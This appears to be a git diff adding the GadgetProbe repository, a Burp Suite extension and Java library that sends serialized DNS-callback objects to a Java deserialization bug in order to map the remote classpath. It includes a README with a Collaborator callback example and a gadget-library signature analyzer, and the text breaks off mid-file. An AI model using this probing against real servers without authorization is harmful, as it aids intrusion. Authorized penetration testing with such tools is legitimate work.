diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..edfe829
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+.gradle/
+build/
+out/
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..0e35fec
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2020 BishopFox
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..17a04e8
--- /dev/null
+++ b/README.md
@@ -0,0 +1,76 @@
+
+
+
+
+#
+
+
+
+![License](https://img.shields.io/badge/license-MIT-lightgrey.svg)
+![Python version](https://img.shields.io/badge/java-8%2b-blue.svg)
+
+## Description
+
+You just found a Java deserialization bug, you ran all your ysoserial payloads, and.... you got nothing. What now? How can you debug or build a gadget chain if you're totally blind?
+
+Introducing GadgetProbe, a tool that shines a light on remote classpaths and raises bug severity for all!
+
+GadgetProbe takes a wordlist of Java classes, outputs serialized DNS callback objects, and reports what's lurking in the remote classpath.
+
+### Burp Extension Usage
+
+The Burp extension automatically integrates with Burp Collaborator to handle DNS callbacks. The extension also includes signatures and an analyzer to identify library versions of popular sources for gadgets.
+
+Download the [release](https://github.com/BishopFox/GadgetProbe/releases/) or follow the [build instructions](#building-from-source) below.
+
+After loading the Burp extension:
+
+1. Send the vulnerable request to intruder, highlighting the vulnerable parameter.
+
+![gif](assets/intruder1.gif)
+
+2\. Add a list of Java classes (see included wordlists)
+
+![gif](assets/intruder2.gif)
+
+3\. Add the GadgetProbe payload processor, and any other required processors in your chain (e.g., Base64 encode).
+
+![gif](assets/intruder3.gif)
+
+4\. Run the intruder attack and watch the results come back in the GadgetProbe Burp Tab.
+
+![gif](assets/intruder4.gif)
+
+
+### GadgetProbe Java Library Usage
+
+GadgetProbe can also be used as a Java library or CLI for specialized attacks.
+
+```java
+import com.bishopfox.gadgetprobe.GadgetProbe
+...
+// Call the GadgetProbe constructor with your authoritative nameserver (or use Burp collaborator).
+GadgetProbe gp = new GadgetProbe("dnscallback.burpcollaborator.net");
+// The crafted object "obj" is now ready to be sent using any custom implementation :)
+Object obj = gp.getObject("org.apache.commons.collections.functors.invokertransformer");
+
+```
+
+### Building from Source
+```bash
+# Build JAR (run first)
+./gradlew shadowJar
+
+# Build wordlists
+./generate_wordlists.sh
+```
+
+### How it works
+
+See my [write-up](https://know.bishopfox.com/research/gadgetprobe) on the Bishop Fox blog.
+
+### Author
+
+Twitter: [@BumbleSec](https://twitter.com/theBumbleSec)
+
+GitHub: [the-bumble](https://github.com/the-bumble/)
diff --git a/assets/GadgetProbe.svg b/assets/GadgetProbe.svg
new file mode 100644
index 0000000..decd076
--- /dev/null
+++ b/assets/GadgetProbe.svg
@@ -0,0 +1,131 @@
+
+
+
diff --git a/assets/intruder1.gif b/assets/intruder1.gif
new file mode 100644
index 0000000..0de6373
Binary files /dev/null and b/assets/intruder1.gif differ
diff --git a/assets/intruder2.gif b/assets/intruder2.gif
new file mode 100644
index 0000000..6a87041
Binary files /dev/null and b/assets/intruder2.gif differ
diff --git a/assets/intruder3.gif b/assets/intruder3.gif
new file mode 100644
index 0000000..27c1284
Binary files /dev/null and b/assets/intruder3.gif differ
diff --git a/assets/intruder4.gif b/assets/intruder4.gif
new file mode 100644
index 0000000..75ac066
Binary files /dev/null and b/assets/intruder4.gif differ
diff --git a/build.gradle b/build.gradle
new file mode 100644
index 0000000..414cc5f
--- /dev/null
+++ b/build.gradle
@@ -0,0 +1,29 @@
+plugins {
+ id 'java'
+ id 'application'
+ id 'com.github.johnrengelman.shadow' version '2.0.4'
+}
+
+mainClassName = 'com.bishopfox.gadgetprobe.GadgetProbe'
+
+group 'com.bishopfox'
+version '1.0-SNAPSHOT'
+
+sourceCompatibility = 1.8
+targetCompatibility = 1.8
+
+repositories {
+ mavenCentral()
+}
+
+dependencies {
+
+ // Burp Extension
+ compile group: 'org.json', name: 'json', version: '20190722'
+ compile group: 'net.portswigger.burp.extender', name: 'burp-extender-api', version: '2.1'
+
+ // GadgetProbe
+ compile group: 'com.nqzero', name: 'permit-reflect', version: '0.4'
+ compile group: 'org.javassist', name: 'javassist', version: '3.26.0-GA'
+ compile group: 'com.intellij', name: 'forms_rt', version: '7.0.3'
+}
\ No newline at end of file
diff --git a/generate_wordlists.sh b/generate_wordlists.sh
new file mode 100755
index 0000000..f49ca9f
--- /dev/null
+++ b/generate_wordlists.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+set -e
+java -jar build/libs/GadgetProbe-1.0-SNAPSHOT-all.jar > wordlists/gadgetprobe_analyzer_classes.list
+curl "https://raw.githubusercontent.com/FasterXML/jackson-databind/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java" | sed -n -e 's/^\s*s.add("\(.*\)");/\1/p' > wordlists/FasterXML_blacklist.list
diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar
new file mode 100644
index 0000000..94336fc
Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties
new file mode 100644
index 0000000..752e0c3
--- /dev/null
+++ b/gradle/wrapper/gradle-wrapper.properties
@@ -0,0 +1,6 @@
+#Sat Jan 11 00:17:55 EST 2020
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.3-all.zip
diff --git a/gradlew b/gradlew
new file mode 100755
index 0000000..cccdd3d
--- /dev/null
+++ b/gradlew
@@ -0,0 +1,172 @@
+#!/usr/bin/env sh
+
+##############################################################################
+##
+## Gradle start up script for UN*X
+##
+##############################################################################
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG=`dirname "$PRG"`"/$link"
+ fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS=""
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn () {
+ echo "$*"
+}
+
+die () {
+ echo
+ echo "$*"
+ echo
+ exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+nonstop=false
+case "`uname`" in
+ CYGWIN* )
+ cygwin=true
+ ;;
+ Darwin* )
+ darwin=true
+ ;;
+ MINGW* )
+ msys=true
+ ;;
+ NONSTOP* )
+ nonstop=true
+ ;;
+esac
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ if [ ! -x "$JAVACMD" ] ; then
+ die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+ fi
+else
+ JAVACMD="java"
+ which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
+ MAX_FD_LIMIT=`ulimit -H -n`
+ if [ $? -eq 0 ] ; then
+ if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+ MAX_FD="$MAX_FD_LIMIT"
+ fi
+ ulimit -n $MAX_FD
+ if [ $? -ne 0 ] ; then
+ warn "Could not set maximum file descriptor limit: $MAX_FD"
+ fi
+ else
+ warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+ fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+ GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin ; then
+ APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+ CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+ JAVACMD=`cygpath --unix "$JAVACMD"`
+
+ # We build the pattern for arguments to be converted via cygpath
+ ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+ SEP=""
+ for dir in $ROOTDIRSRAW ; do
+ ROOTDIRS="$ROOTDIRS$SEP$dir"
+ SEP="|"
+ done
+ OURCYGPATTERN="(^($ROOTDIRS))"
+ # Add a user-defined pattern to the cygpath arguments
+ if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+ OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+ fi
+ # Now convert the arguments - kludge to limit ourselves to /bin/sh
+ i=0
+ for arg in "$@" ; do
+ CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+ CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
+
+ if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
+ eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+ else
+ eval `echo args$i`="\"$arg\""
+ fi
+ i=$((i+1))
+ done
+ case $i in
+ (0) set -- ;;
+ (1) set -- "$args0" ;;
+ (2) set -- "$args0" "$args1" ;;
+ (3) set -- "$args0" "$args1" "$args2" ;;
+ (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+ (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+ (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+ (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+ (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+ (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+ esac
+fi
+
+# Escape application args
+save () {
+ for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
+ echo " "
+}
+APP_ARGS=$(save "$@")
+
+# Collect all arguments for the java command, following the shell quoting and substitution rules
+eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
+
+# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
+if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
+ cd "$(dirname "$0")"
+fi
+
+exec "$JAVACMD" "$@"
diff --git a/gradlew.bat b/gradlew.bat
new file mode 100644
index 0000000..e95643d
--- /dev/null
+++ b/gradlew.bat
@@ -0,0 +1,84 @@
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS=
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto init
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto init
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:init
+@rem Get command-line arguments, handling Windows variants
+
+if not "%OS%" == "Windows_NT" goto win9xME_args
+
+:win9xME_args
+@rem Slurp the command line arguments.
+set CMD_LINE_ARGS=
+set _SKIP=2
+
+:win9xME_args_slurp
+if "x%~1" == "x" goto execute
+
+set CMD_LINE_ARGS=%*
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega
diff --git a/settings.gradle b/settings.gradle
new file mode 100644
index 0000000..57d312b
--- /dev/null
+++ b/settings.gradle
@@ -0,0 +1,2 @@
+rootProject.name = 'GadgetProbe'
+
diff --git a/src/main/java/burp/Analyzer.java b/src/main/java/burp/Analyzer.java
new file mode 100644
index 0000000..4e0b59f
--- /dev/null
+++ b/src/main/java/burp/Analyzer.java
@@ -0,0 +1,61 @@
+package burp;
+
+import burp.Signatures.*;
+
+import java.lang.reflect.InvocationTargetException;
+import java.util.Set;
+
+public class Analyzer {
+ private static Class[] checks = new Class[] {
+ Bsh.class,
+ C3p0.class,
+ Clojure.class,
+ CommonsCollections4.class,
+ CommonsCollections3.class,
+ CommonsIO2.class,
+ Groovy239.class,
+ HibernateCore.class,
+ Javassist.class,
+ SpringCore.class
+ };
+
+ public static String Analyze(Set found, Set notFound) {
+ StringBuilder sb = new StringBuilder();
+
+ for (int i = 0; i < checks.length; i++) {
+ Signature s = null;
+ try {
+ s = (Signature) (checks[i].getConstructor(new Class[]{Set.class, Set.class}).newInstance(found, notFound));
+ } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ }
+ sb.append(s.getResult());
+ }
+
+ return sb.toString();
+ }
+
+ public static String getWordlist() {
+ StringBuilder sb = new StringBuilder();
+
+ for (int i = 0; i < checks.length; i++) {
+ Signature s = null;
+ try {
+ s = (Signature) (checks[i].getConstructor(new Class[]{Set.class, Set.class}).newInstance(null, null));
+ } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ }
+ String[] classnames = s.getSignatures();
+ for (int j = 0; j < classnames.length; j++) {
+ if (classnames[j].length() > 0) {
+ sb.append(classnames[j]);
+ sb.append("\n");
+ }
+ }
+ }
+ sb.delete(sb.length() - 1, sb.length());
+
+ return sb.toString();
+ }
+
+}
diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java
new file mode 100644
index 0000000..d85f8f7
--- /dev/null
+++ b/src/main/java/burp/BurpExtender.java
@@ -0,0 +1,249 @@
+package burp;
+
+import java.awt.Component;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.io.*;
+
+import com.bishopfox.gadgetprobe.GadgetProbe;
+import org.json.*;
+
+
+import javax.swing.JPanel;
+import javax.swing.SwingUtilities;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+public class BurpExtender implements IBurpExtender, ActionListener, IIntruderPayloadProcessor, IExtensionStateListener, ITab {
+ private IExtensionHelpers helpers;
+ private IBurpExtenderCallbacks callbacks;
+
+ private PrintWriter stdout;
+ private PrintWriter stderr;
+
+ private IBurpCollaboratorClientContext collaboratorContext;
+
+ private InteractionServer interactionServer;
+
+ private String currentCollaboratorLocation;
+ private boolean currentCollaboratorPollOverUnenecryptedHttp;
+ private String currentCollaboratorPollingLocation;
+ private String currentCollaboratorType;
+
+ private JPanel mainPanel;
+ private BurpGui guiManager;
+
+
+ public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) {
+
+
+ // obtain an extension helpers object
+ helpers = callbacks.getHelpers();
+ this.callbacks = callbacks;
+
+
+ // set our extension name
+ callbacks.setExtensionName("GadgetProbe");
+
+ // register ourselves as an Intruder payload processor
+ callbacks.registerIntruderPayloadProcessor(this);
+
+ //register to get extension state changes
+ callbacks.registerExtensionStateListener(this);
+
+ // Initialize stdout and stderr
+ stdout = new PrintWriter(callbacks.getStdout(), true);
+ stderr = new PrintWriter(callbacks.getStderr(), true);
+
+ stdout.println("GadgetProbe Initialized!");
+ stdout.println("Learn more: https://github.com/BishopFox/GadgetProbe");
+ stdout.println("");
+
+ initializeCurrentCollaboratorVariables();
+
+ if(!(currentCollaboratorType.equals("none"))) {
+ collaboratorContext = callbacks.createBurpCollaboratorClientContext();
+ } else {
+ collaboratorContext = null;
+ }
+ guiManager = new BurpGui();
+ guiManager.setupListeners(this::actionPerformed);
+
+
+ interactionServer = new InteractionServer(callbacks, collaboratorContext, guiManager);
+
+ interactionServer.start();
+
+ SwingUtilities.invokeLater(new Runnable() {
+
+ @Override
+ public void run() {
+
+ mainPanel = (JPanel) guiManager.$$$getRootComponent$$$();
+ callbacks.customizeUiComponent(mainPanel);
+ callbacks.addSuiteTab(BurpExtender.this);
+ }
+
+ });
+
+ }
+
+
+ @Override
+ public String getProcessorName()
+ {
+ return "ClassName to GadgetProbe";
+ }
+
+ private byte[] convertToBytes(Object object) throws IOException {
+ try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutput out = new ObjectOutputStream(bos)) {
+ out.writeObject(object);
+ return bos.toByteArray();
+ }
+ }
+
+ @Override
+ public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue)
+ {
+ GadgetProbe gp = InteractionServer.getGadgetProbe();
+ String className = helpers.bytesToString(currentPayload);
+
+ Object obj = null;
+ try {
+ obj = gp.getObject(className);
+ } catch (SecurityException e) {
+ String msg = "Error: Class name is in protected package. Most likely a typo: " + className;
+ stderr.println(msg);
+ guiManager.consolePrintln(msg);
+ return currentPayload;
+ }
+ if (obj != null) {
+ try {
+ guiManager.addClassNotFound(className);
+ return convertToBytes(obj);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ } else {
+ String msg = "Error: Class name contains unsupported characters: " + className;
+ stderr.println(msg);
+ guiManager.consolePrintln(msg);
+ }
+ return currentPayload;
+ }
+
+
+ public void initializeCurrentCollaboratorVariables() {
+
+ String collaboratorOption = callbacks.saveConfigAsJson("project_options.misc.collaborator_server");
+ JSONObject rootJsonObject = new JSONObject(collaboratorOption);
+ currentCollaboratorLocation = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("location");
+ currentCollaboratorPollOverUnenecryptedHttp = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getBoolean("poll_over_unencrypted_http");
+ currentCollaboratorPollingLocation = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("polling_location");
+ currentCollaboratorType = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("type");
+
+ }
+
+ public boolean isCollaboratorChanged() {
+
+ String collaboratorOption = callbacks.saveConfigAsJson("project_options.misc.collaborator_server");
+ JSONObject rootJsonObject = new JSONObject(collaboratorOption);
+
+ if(!(currentCollaboratorLocation.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("location"))) ||
+ !(currentCollaboratorPollOverUnenecryptedHttp == rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getBoolean("poll_over_unencrypted_http")) ||
+ !(currentCollaboratorPollingLocation.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("polling_location"))) ||
+ !(currentCollaboratorType.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("type"))) ) {
+ return true;
+ } else {
+ return false;
+ }
+
+ }
+
+ public void checkCollaboratorChanges() {
+ if(isCollaboratorChanged()) {
+
+ initializeCurrentCollaboratorVariables();
+
+ if(!(currentCollaboratorType.equals("none"))) {
+
+ stdout.println("Collaborator location changed! Setting a new collaborator context to the polling thread!");
+ collaboratorContext = callbacks.createBurpCollaboratorClientContext();
+ interactionServer.setCollaboratorContext(collaboratorContext);
+
+ } else {
+ collaboratorContext = null;
+ stdout.println("Collaborator disabled!");
+
+ }
+
+ }
+
+ }
+
+ public void actionPerformed(ActionEvent event) {
+ String command = event.getActionCommand();
+
+ if(command.equals("enableDisablePolling")) {
+ if(guiManager.isPollingEnabled()) {
+ interactionServer.resumeThread();
+ } else {
+ interactionServer.pause();
+ }
+ }
+ else if(command.equals("pollNow")) {
+ interactionServer.pollNow();
+ interactionServer.interrupt();
+ }
+ else if(command.equals("refreshDNS")) {
+ interactionServer.reset();
+ }
+ else if(command.equals("clearConsole")) {
+ guiManager.clearConsole();
+ }
+ else if(command.equals("detectLibraryVersion")) {
+ String output = Analyzer.Analyze(guiManager.getClassesFound(), guiManager.getClassesNotFound());
+ guiManager.consolePrintln(output);
+ }
+ else if(command.equals("reset")) {
+ guiManager.reset();
+ interactionServer.reset();
+ }
+ else if(command.startsWith("KEY_TYPED")) {
+ try {
+ long pollingInterval = MILLISECONDS.convert(Integer.parseInt(command.split(",")[1]), SECONDS);
+ if (pollingInterval > 60000) {
+ guiManager.consolePrintln("Refusing to set interval longer than 60 seconds");
+ } else {
+ interactionServer.setPollingMilliseconds((int) pollingInterval);
+ }
+
+ } catch(NumberFormatException e){
+ guiManager.consolePrintln("ERROR: Invalid Polling Interval");
+ }
+ }
+ else {
+ guiManager.consolePrintln("ERROR: COMMAND NOT REGISTERED: " + command);
+ }
+ }
+
+ public void extensionUnloaded() {
+
+ stdout.println("Stopping thread of Collaborator interaction server");
+ interactionServer.setGoOn(false);
+
+ }
+
+ @Override
+ public String getTabCaption() {
+ return "GadgetProbe";
+ }
+
+ @Override
+ public Component getUiComponent() {
+ return mainPanel;
+ }
+
+}
diff --git a/src/main/java/burp/BurpGui.form b/src/main/java/burp/BurpGui.form
new file mode 100644
index 0000000..0f94446
--- /dev/null
+++ b/src/main/java/burp/BurpGui.form
@@ -0,0 +1,227 @@
+
+
diff --git a/src/main/java/burp/BurpGui.java b/src/main/java/burp/BurpGui.java
new file mode 100644
index 0000000..c5fa9bf
--- /dev/null
+++ b/src/main/java/burp/BurpGui.java
@@ -0,0 +1,330 @@
+package burp;
+
+import com.intellij.uiDesigner.core.GridConstraints;
+import com.intellij.uiDesigner.core.GridLayoutManager;
+import com.intellij.uiDesigner.core.Spacer;
+
+import javax.swing.*;
+import java.awt.*;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.StringSelection;
+import java.awt.event.*;
+import java.util.*;
+
+
+public class BurpGui {
+ private JPanel mainPanel;
+ private JPanel classPanel;
+ private JPanel optionsPanel;
+ private JCheckBox enablePollingCheckBox;
+ private JButton detectLibraryVersionsButton;
+ private JButton clearHistoryAndResetButton;
+ private JPanel PollingOption;
+ private JTextArea consoleOutput;
+ private JList classesFoundList;
+ private JList classesNotFoundList;
+ private JFormattedTextField pollingIntervalSeconds;
+ private JButton pollNow;
+ private JButton clearConsole;
+ private JButton refreshDNS;
+ private TreeSet classesFound = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
+ private TreeMap classesNotFound = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);
+ private JListRenderer cellRenderer;
+
+ {
+// GUI initializer generated by IntelliJ IDEA GUI Designer
+// >>> IMPORTANT!! <<<
+// DO NOT EDIT OR ADD ANY CODE HERE!
+ $$$setupUI$$$();
+ }
+
+ /**
+ * Method generated by IntelliJ IDEA GUI Designer
+ * >>> IMPORTANT!! <<<
+ * DO NOT edit this method OR call it in your code!
+ *
+ * @noinspection ALL
+ */
+ private void $$$setupUI$$$() {
+ mainPanel = new JPanel();
+ mainPanel.setLayout(new GridLayoutManager(2, 1, new Insets(16, 16, 16, 16), -1, -1));
+ mainPanel.setFocusable(false);
+ classPanel = new JPanel();
+ classPanel.setLayout(new GridLayoutManager(2, 3, new Insets(0, 0, 0, 0), 0, 0));
+ classPanel.setFocusable(false);
+ mainPanel.add(classPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 256), null, null, 0, false));
+ final JScrollPane scrollPane1 = new JScrollPane();
+ scrollPane1.setEnabled(true);
+ scrollPane1.setFocusable(false);
+ classPanel.add(scrollPane1, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(128, -1), null, null, 0, false));
+ classesFoundList = new JList();
+ scrollPane1.setViewportView(classesFoundList);
+ final JScrollPane scrollPane2 = new JScrollPane();
+ scrollPane2.setFocusable(false);
+ classPanel.add(scrollPane2, new GridConstraints(1, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(128, -1), null, null, 0, false));
+ classesNotFoundList = new JList();
+ classesNotFoundList.setEnabled(true);
+ classesNotFoundList.setFocusCycleRoot(false);
+ scrollPane2.setViewportView(classesNotFoundList);
+ final JLabel label1 = new JLabel();
+ label1.setFocusable(true);
+ Font label1Font = this.$$$getFont$$$(null, Font.BOLD, -1, label1.getFont());
+ if (label1Font != null) label1.setFont(label1Font);
+ label1.setText("Classes Found:");
+ classPanel.add(label1, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ final JLabel label2 = new JLabel();
+ Font label2Font = this.$$$getFont$$$(null, Font.BOLD, -1, label2.getFont());
+ if (label2Font != null) label2.setFont(label2Font);
+ label2.setText("Classes not Found:");
+ classPanel.add(label2, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ optionsPanel = new JPanel();
+ optionsPanel.setLayout(new GridLayoutManager(8, 2, new Insets(0, 0, 0, 0), -1, -1));
+ mainPanel.add(optionsPanel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, new Dimension(-1, 256), null, new Dimension(-1, 256), 0, true));
+ final JScrollPane scrollPane3 = new JScrollPane();
+ scrollPane3.setAutoscrolls(true);
+ optionsPanel.add(scrollPane3, new GridConstraints(0, 1, 8, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, new Dimension(128, -1), null, new Dimension(-1, 256), 0, false));
+ consoleOutput = new JTextArea();
+ consoleOutput.setAutoscrolls(true);
+ consoleOutput.setEditable(false);
+ consoleOutput.setLineWrap(true);
+ consoleOutput.setRows(10);
+ consoleOutput.setText("");
+ consoleOutput.setWrapStyleWord(true);
+ scrollPane3.setViewportView(consoleOutput);
+ enablePollingCheckBox = new JCheckBox();
